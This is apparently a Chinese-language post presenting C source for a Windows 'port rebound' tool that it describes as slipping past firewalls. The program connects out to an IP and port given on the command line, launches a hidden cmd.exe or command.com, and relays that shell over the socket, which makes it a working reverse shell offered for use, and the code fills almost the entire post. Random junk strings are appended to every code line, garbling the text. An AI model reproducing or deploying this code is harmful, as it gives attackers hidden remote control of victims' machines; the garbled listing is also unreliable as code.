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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 jgMWjM6.  
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/* ============================== 4PF4#  
Rebound port in Windows NT <s{/ka3  
By wind,2006/7 #{ ?oUg>$  
===============================*/ _|Dt6  
#include Sqge5v  
#include ?PQiVL  
PCIC*!{  
#pragma comment(lib,"wsock32.lib") LnyA5T  
v0xi(Wu  
void OutputShell(); 6R,;c7Izhd  
SOCKET sClient; #UI`G3w<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }}xR?+4A  
-OW$  
void main(int argc,char **argv) oz0-'_  
{ :m~lgb<  
WSADATA stWsaData; ~g,QwaA[  
int nRet; _j2`#|oG  
SOCKADDR_IN stSaiClient,stSaiServer; @v'<~9vG  
.ev]tu2N  
if(argc != 3) [{c8:)ar  
{ ~G$OY9UC  
printf("Useage:\n\rRebound DestIP DestPort\n"); M1>a,va8Zq  
return; "bO]  
} @6tx5D?  
JH5])i0  
WSAStartup(MAKEWORD(2,2),&stWsaData); i@;a%$5  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v|'N|k l  
{38aaf|'/  
stSaiClient.sin_family = AF_INET; 7xcYM  
stSaiClient.sin_port = htons(0); qqAsh]Z  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @]7\.>)  
ynd}w G'  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oy'+n-  
{ @Uu\x~3y  
printf("Bind Socket Failed!\n"); y7Ub~q U  
return; ZN1p>+oY!  
} b$ eJH  
2U+&F'&Q  
stSaiServer.sin_family = AF_INET; 0jS/U|0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); JU6np4  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7/yd@#$X  
lu}[XN  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) LH8?0 N[  
{ 0t&H1xsxX  
printf("Connect Error!"); sg y  
return; .edZKmC6  
} G@'0vYb#  
OutputShell(); 'GyPl  
} =1(BKk>  
(l,o UBRr  
void OutputShell() /l`XJs  
{ ",+uvJT1O  
char szBuff[1024]; 93dotuF  
SECURITY_ATTRIBUTES stSecurityAttributes; r]S9z  
OSVERSIONINFO stOsversionInfo; ,ym;2hJ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #(H_w4  
STARTUPINFO stStartupInfo; 5a&w M  
char *szShell; tvUvd(8 w  
PROCESS_INFORMATION stProcessInformation;  R pbl)  
unsigned long lBytesRead; WWL Vy(  
_7<U[63  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :6 fQE#(s&  
ba ?k:b  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vB{b/xmah  
stSecurityAttributes.lpSecurityDescriptor = 0; 0_EF7`T  
stSecurityAttributes.bInheritHandle = TRUE; f#t^<`7  
^m=%Ctu#  
>KPJ74R  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]4yvTP3[Rm  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X3nhqQTZ  
SMFW]I2T/  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); O /&%`&2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a< EC]-nw  
stStartupInfo.wShowWindow = SW_HIDE; Uu+C<j&-  
stStartupInfo.hStdInput = hReadPipe; 75HL  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; f0s &9H  
a\w | tf  
GetVersionEx(&stOsversionInfo); H^g<`XEgw  
(AYS>8O&  
switch(stOsversionInfo.dwPlatformId) 1sjn_fPz  
{ (`u!/  
case 1:  m5pVt 4  
szShell = "command.com"; }}_uN-m  
break; *PEuaRDN  
default: pYG,5+g  
szShell = "cmd.exe"; A]9JbNV  
break; bAiw]xi  
} j1 <1D@UO  
{p 0'Lc<3n  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); B>ZPn6?y  
x,dv ~QU  
send(sClient,szMsg,77,0); q@9 i3*q;  
while(1) 3Y-v1.^j  
{ H~i],WD  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E2IVR]C2^  
if(lBytesRead) q1Sm#_7  
{ -#6*T,f0P(  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )mdNvb[*n  
send(sClient,szBuff,lBytesRead,0); ];;w/$zke  
} `1@[uWl  
else W<VHv"?V  
{ !&lPdEc@T  
lBytesRead=recv(sClient,szBuff,1024,0); B6\VxSX4{  
if(lBytesRead<=0) break; ~P_kr'o  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]Qr8wa>Z  
} ;l()3;  
} oDUMoX%4s  
\T9UbkR  
return; [{F7Pc  
}
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